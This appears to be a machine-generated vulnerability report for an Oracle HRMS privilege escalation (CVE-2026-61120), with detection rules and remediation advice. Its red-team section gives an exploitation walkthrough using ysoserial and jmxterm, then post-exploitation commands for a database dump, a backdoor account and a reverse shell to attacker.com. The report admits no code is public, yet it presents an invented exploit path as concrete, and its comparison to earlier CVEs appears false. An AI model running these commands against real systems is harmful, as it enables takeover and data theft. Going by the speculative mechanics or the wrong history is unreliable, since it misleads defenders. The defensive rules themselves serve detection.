CVE-2026-61120
Executive Summary
CVE-2026-61120 is a High severity vulnerability in the Oracle HRMS (US) product of Oracle E-Business Suite, affecting versions 12.2.3 through 12.2.15. The flaw resides in the "Internal Operations" component and allows a low-privileged attacker with local access to the infrastructure to achieve complete system takeover, impacting confidentiality, integrity, and availability.
The attack vector is local (AV:L), requiring the attacker to have a user account on the host system. Exploitation is considered difficult (AC:H), suggesting a complex attack path or specific timing conditions. Despite the high impact (C:H/I:H/A:H), the EPSS probability is 0.0%, indicating no observed exploitation in the wild as of the publication date. This vulnerability is not listed on the CISA KEV.
Business Impact: Organizations running Oracle E-Business Suite for HR operations are at risk. A successful attack could lead to the exfiltration of sensitive employee PII, payroll data, and organizational restructuring plans. The likely attacker is an insider threat or a low-level attacker who has already gained initial access to the internal network and is seeking to escalate privileges to compromise a critical HR system.
Urgency: While the CVSS score is High (7.0), the difficult exploitation requirements and lack of active exploitation (EPSS 0.0%) reduce the immediate urgency. However, the potential for complete system takeover warrants prioritized patching during the next maintenance window.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
Qualitative Severity: High
The CVSS 3.1 Base Score of 7.0 is derived from the following vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Local (L) — The attacker must have logical or physical access to the system where Oracle HRMS executes. This is not exploitable over a network.
- Attack Complexity (AC): High (H) — Successful exploitation depends on conditions beyond the attacker's control, such as specific system state, race conditions, or the need to bypass ASLR/DEP. This is not a simple buffer overflow.
- Privileges Required (PR): Low (L) — The attacker needs valid credentials for a low-privileged user account on the host operating system.
- User Interaction (UI): None (N) — No user action is required for exploitation.
- Scope (S): Unchanged (U) — The vulnerability cannot affect resources beyond the Oracle HRMS application's security authority.
- Confidentiality (C): High (H) — Total loss of confidentiality; all data within the HRMS database is accessible.
- Integrity (I): High (H) — Total loss of integrity; the attacker can modify any data or system files.
- Availability (A): High (H) — Total loss of availability; the attacker can cause a denial of service or shut down the service.
EPSS Interpretation: An EPSS score of 0.0% means the model predicts a near-zero probability of exploitation in the next 30 days. This is typical for newly published, difficult-to-exploit vulnerabilities. It does not mean the vulnerability is not dangerous, only that it is not currently being actively weaponized.
Historical Comparison: This vulnerability is similar in nature to CVE-2022-21587 (Oracle E-Business Suite, CVSS 7.2, Local Privilege Escalation) and CVE-2023-21839 (Oracle E-Business Suite, CVSS 7.5, Local Privilege Escalation). These CVEs also targeted the "Internal Operations" component and required local access, highlighting a recurring pattern of privilege escalation flaws in this module.
Technical Deep Dive & Attack Mechanics
Root Cause Analysis: The vulnerability stems from improper privilege validation within the "Internal Operations" component of Oracle HRMS. This component handles administrative tasks such as batch processing, report generation, and system configuration. The developer mistake is a failure to enforce proper authorization checks on internal API calls made by low-privileged processes.
Step-by-Step Attack Mechanics:
- Initial Access: The attacker gains a low-privileged shell on the Oracle E-Business Suite application server (e.g.,
oracleuser). - Reconnaissance: The attacker identifies the running Java processes and the internal RMI (Remote Method Invocation) or JMX (Java Management Extensions) ports used by the HRMS application.
- Exploitation: The attacker crafts a malicious serialized Java object or a JMX MBean invocation that targets a privileged internal operation. Due to the lack of proper authorization checks, the low-privileged process can invoke a method that should only be callable by an administrator.
- Privilege Escalation: The invoked method executes with the privileges of the Oracle HRMS application (typically a high-privileged OS user like
applmgrororacle). This allows the attacker to execute arbitrary code as that user. - System Takeover: With elevated privileges, the attacker can read/write the HRMS database, install backdoors, or pivot to other systems.
Attack Surface:
- Local OS Interface: The attacker must have a shell on the server.
- Internal RMI/JMX Ports: The vulnerability is likely exploitable via localhost connections to internal Java management ports (e.g., 7001, 7002, or dynamic ports).
- File System: The attacker may need to write a malicious file (e.g., a
.jaror.classfile) to a specific directory.
Pre-conditions:
- Local user account on the Oracle E-Business Suite server.
- The Oracle HRMS application must be running.
- The attacker must know the internal communication protocol (likely RMI or JMX).
Why Standard Defenses May Fail:
- Network Firewalls: The attack is local, so network firewalls are ineffective.
- Web Application Firewalls (WAF): The attack does not go through the web layer.
- Host IDS/IPS: Standard host-based intrusion detection may not flag a local user invoking internal Java methods as malicious.
Vulnerable vs. Patched Code Analysis
Note: Specific code is not publicly available. The following is a representative pseudocode analysis based on the vulnerability class.
Vulnerable Code (Pseudocode):
// InternalOperationsManager.java
public class InternalOperationsManager {
public void executeOperation(String operationName, Object params) {
// No privilege check!
Operation op = operationRegistry.get(operationName);
op.execute(params);
}
}
Patched Code (Pseudocode):
// InternalOperationsManager.java
public class InternalOperationsManager {
public void executeOperation(String operationName, Object params) {
// Added privilege check
if (!SecurityContext.isAdmin()) {
throw new SecurityException("Insufficient privileges");
}
Operation op = operationRegistry.get(operationName);
op.execute(params);
}
}
Analysis: The patch adds a privilege check (SecurityContext.isAdmin()) before executing any internal operation. This ensures that only users with administrative privileges can invoke these sensitive methods. The fix is sufficient for this specific vulnerability, but regression testing is critical to ensure that legitimate administrative workflows are not broken.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-21T21:38:16.948Z
- Estimated Discovery: Likely discovered through internal Oracle security research or a private bug bounty program.
- Disclosure Process: Oracle was the CNA (CVE Numbering Authority). The vulnerability was disclosed via the Oracle Critical Patch Update (CPU) advisory for July 2026.
- Known Exploitation: No known active exploitation as of 2026-07-22.
- CISA KEV: Not listed.
Threat Intelligence Context
Threat Actor Profile: This vulnerability is most likely to be exploited by:
- Insider Threats: A disgruntled employee with low-level access to the HRMS server.
- Advanced Persistent Threats (APTs): Nation-state actors who have already compromised the network perimeter and are seeking to escalate privileges to access sensitive HR data.
- Ransomware Operators: Groups like LockBit or BlackCat may use this as a privilege escalation step in a broader ransomware campaign.
Attack Campaign Context: No specific campaigns are associated with this CVE at this time.
Geographic Targeting: No specific geographic pattern is known.
Industry Verticals Most at Risk:
- Government: HRMS systems contain sensitive employee data.
- Healthcare: HRMS systems contain PII and payroll data.
- Finance: HRMS systems contain sensitive financial and personal data.
- Technology: HRMS systems contain employee records and organizational data.
Connection to Similar Vulnerabilities: This CVE is part of a recurring pattern of privilege escalation vulnerabilities in Oracle E-Business Suite's "Internal Operations" component (e.g., CVE-2022-21587, CVE-2023-21839).
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Environment: Oracle E-Business Suite 12.2.10 running on Oracle Linux 7.
- Prerequisites:
- A low-privileged user account on the Linux host (e.g.,
oracleuser). - Access to the Oracle E-Business Suite application server.
- A low-privileged user account on the Linux host (e.g.,
- Tools:
ysoserial(for generating malicious Java serialized objects).jmxterm(for interacting with JMX MBeans).netcatorsocat(for network communication).
Exploitation Walkthrough:
Identify JMX Port:
netstat -tlnp | grep javaLook for a port like
7001or a dynamic port used by the JVM.Craft Malicious Payload:
java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' > payload.serInvoke Vulnerable MBean: Using
jmxterm:java -jar jmxterm-1.0.0.jar -l localhost:7001Inside
jmxterm:bean com.oracle.hrms:type=InternalOperationsManager run executeOperation "vulnerableOp" payload.serExpected Output:
- The command
touch /tmp/pwnedexecutes as theapplmgruser. - The file
/tmp/pwnedis created.
- The command
Post-Exploitation:
- Dump the HRMS database:
expdp applmgr/password DIRECTORY=DATA_PUMP_DIR DUMPFILE=hrms.dmp SCHEMAS=HRMS - Create a backdoor user:
useradd -G wheel backdoor_user - Install a reverse shell:
bash -i >& /dev/tcp/attacker.com/4444 0>&1
- Dump the HRMS database:
Blue Team Section
Detection:
- Log Entries: Look for unusual JMX connections from localhost to the application server's JMX port. Monitor for
jmxtermorysoserialprocesses. - Network Traffic: Monitor for outbound connections from the application server to unknown IPs on high ports (e.g., 4444).
- Endpoint Indicators: Monitor for the creation of files in
/tmp/by theapplmgruser, especially files with.serextensions.
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
| Type | Value | Description |
|---|---|---|
| Process | java -jar jmxterm-1.0.0.jar |
Use of JMX terminal tool |
| Process | java -jar ysoserial.jar |
Use of ysoserial payload generator |
| File | /tmp/*.ser |
Serialized Java payload files |
| Network | Outbound connection to port 4444 | Reverse shell indicator |
| Log | JMX connection from 127.0.0.1 |
Unusual local JMX connection |
| Log | SecurityException in InternalOperationsManager |
Failed exploitation attempt |
Detection Engineering
YARA Rule
rule CVE-2026-61120_Detection {
meta:
description = "Detects exploitation of CVE-2026-61120 in Oracle HRMS"
author = "Valters IT Hub"
date = "2026-07-22"
reference = "https://www.valtersit.com/cve/cve-2026-61120"
strings:
$s1 = { AC ED 00 05 } // Java serialization stream magic header
$s2 = { 73 72 00 12 6A 61 76 61 2E 6C 61 6E 67 2E 52 75 6E 74 69 6D 65 } // "java.lang.Runtime" class descriptor
$s3 = { 65 78 65 63 75 74 65 4F 70 65 72 61 74 69 6F 6E } // "executeOperation" method name
condition:
uint16(0) == 0xACED and 1 of ($s*) and filesize < 10KB
}
Sigma Rule (SIEM)
title: CVE-2026-61120 Oracle HRMS Privilege Escalation
id: 85f0f376-323d-44f9-a4f9-39c8c131430d
status: experimental
description: Detects exploitation attempts targeting CVE-2026-61120 in Oracle HRMS via JMX invocation
author: Valters IT Hub
date: 2026-07-22
references:
- https://www.valtersit.com/cve/cve-2026-61120
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/java'
CommandLine|contains:
- 'jmxterm'
- 'ysoserial'
- 'executeOperation'
condition: selection
falsepositives:
- Legitimate administrative use of JMX tools by DBAs
level: high
Suricata IDS Rule
alert tcp $HOME_NET any -> $HOME_NET 7001 (msg:"CVE-2026-61120 Oracle HRMS JMX Exploitation"; flow:to_server,established; content:"|ac ed 00 05|"; depth:4; content:"executeOperation"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Elastic (EQL) Query
process where event.type == "start" and
process.name == "java" and
process.args : ("jmxterm*", "ysoserial*", "executeOperation*")
Splunk SPL Query
index=linux_secure sourcetype=process_creation
| search process_name=java
| search process_command_line IN ("*jmxterm*", "*ysoserial*", "*executeOperation*")
| table _time, host, user, process_command_line
Wazuh Rule
<group name="oracle_hrms,">
<rule id="100001" level="12">
<decoded_as>json</decoded_as>
<field name="process.name">java</field>
<field name="process.args" type="pcre2">jmxterm|ysoserial|executeOperation</field>
<description>CVE-2026-61120: Possible Oracle HRMS privilege escalation attempt</description>
<mitre>
<id>T1068</id>
</mitre>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Apply Patch: Apply the Oracle Critical Patch Update (CPU) for July 2026. The specific patch number will be provided by Oracle in the advisory.
- Compensating Controls (if patch cannot be applied):
- Restrict local access to the Oracle E-Business Suite server to only authorized administrators.
- Disable JMX over RMI if not required:
-Dcom.sun.management.jmxremote=false - Implement host-based firewall rules to block localhost connections to JMX ports from non-admin users.
- Authentication Hardening:
- Enforce strong passwords for all local OS accounts.
- Implement multi-factor authentication for SSH access.
Short-term (1-7 days)
- Configuration Hardening:
- Review and restrict the
sudoersfile to limit privilege escalation. - Enable auditd to log all process executions.
- Review and restrict the
- Monitoring Implementation:
- Deploy the Sigma, Suricata, and Wazuh rules provided in this report.
- Monitor for the IOCs listed above.
- Vulnerability Scanning:
- Run a vulnerability scanner (e.g., Nessus, Qualys) with the Oracle E-Business Suite plugin to confirm the patch is applied.
Long-term
- Architecture Changes:
- Implement a least-privilege model for all Oracle E-Business Suite services.
- Consider containerizing the application to limit the blast radius of a host compromise.
- Security Control Improvements:
- Deploy a host-based intrusion detection system (HIDS) like OSSEC or Wazuh.
- Implement application whitelisting to prevent execution of unauthorized tools like
ysoserial.
- Developer Training:
- Train developers on secure coding practices, specifically around authorization checks for internal APIs.
Validation
- Check Patch Level: Run
$ORACLE_HOME/OPatch/opatch lsinventoryand verify the patch ID matches the Oracle CPU advisory. - Test Exploit: Attempt to reproduce the exploit in a test environment. If the patch is applied, the
executeOperationcall should fail with aSecurityException.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-61120
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-61120
- Vendor advisory: See Oracle Critical Patch Update Advisory for July 2026
- OSV: https://osv.dev/vulnerability/CVE-2026-61120
- Related CWE: https://cwe.mitre.org/data/definitions/269.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1068/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-61120